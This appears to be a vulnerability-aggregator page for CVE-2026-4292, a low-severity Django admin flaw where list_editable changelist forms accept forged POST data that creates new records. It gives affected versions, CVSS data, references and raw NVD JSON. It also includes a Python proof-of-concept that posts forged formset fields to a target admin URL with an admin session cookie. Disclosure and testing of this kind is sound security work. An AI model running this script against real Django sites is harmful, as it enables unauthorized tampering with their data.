CVE-2026-4292

Description

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. Admin changelist forms using `ModelAdmin.list_editable` incorrectly allowed new instances to be created via forged `POST` data. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Cantina for reporting this issue.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* - VULNERABLE

Django 6.0 < 6.0.4

Django 5.2 < 5.2.13

Django 4.2 < 4.2.30

Django 5.0.x (未评估，可能受影响)

Django 4.1.x (未评估，可能受影响)

Django 3.2.x (未评估，可能受影响)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target Django Admin Changelist URL
target_url = 'http://target-domain.com/admin/myapp/mymodel/'

# Admin session cookie (Required PR:H)
admin_cookies = {'sessionid': 'valid_admin_session_id'}

# Forged POST data to exploit list_editable
# Omitting the ID field 'form-0-id' to trigger creation in vulnerable versions
payload_data = {
    'form-TOTAL_FORMS': '1',
    'form-INITIAL_FORMS': '0',
    'form-MIN_NUM_FORMS': '0',
    'form-MAX_NUM_FORMS': '1000',
    # The field marked as list_editable in ModelAdmin
    'form-0-protected_field': 'Malicious Data Injection',
}

try:
    response = requests.post(target_url, data=payload_data, cookies=admin_cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check database for new instance.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4292
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4292
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4292/
[4] VulDB https://vuldb.com/cve/CVE-2026-4292
[5] https://docs.djangoproject.com/en/dev/releases/security/
[6] https://groups.google.com/g/django-announce
[7] https://www.djangoproject.com/weblog/2026/apr/07/security-releases/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4292", "sourceIdentifier": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "published": "2026-04-07T15:17:46.650", "lastModified": "2026-04-13T17:34:48.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30.\nAdmin changelist forms using `ModelAdmin.list_editable` incorrectly allowed new\r\ninstances to be created via forged `POST` data.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Cantina for reporting this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "4.2.30", "matchCriteriaId": "C78D8198-229F-45A2-B09D-C1D272878E3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "5.2.13", "matchCriteriaId": "5ED295FD-7063-40A1-9A3E-C0CC4D6F7BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "344A677E-BD67-42F0-9746-5B0D4C53815E"}]}]}], "references": [{"url": "https://docs.djangoproject.com/en/dev/releases/security/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://groups.google.com/g/django-announce", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Release Notes"]}, {"url": "https://www.djangoproject.com/weblog/2026/apr/07/security-releases/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}]}}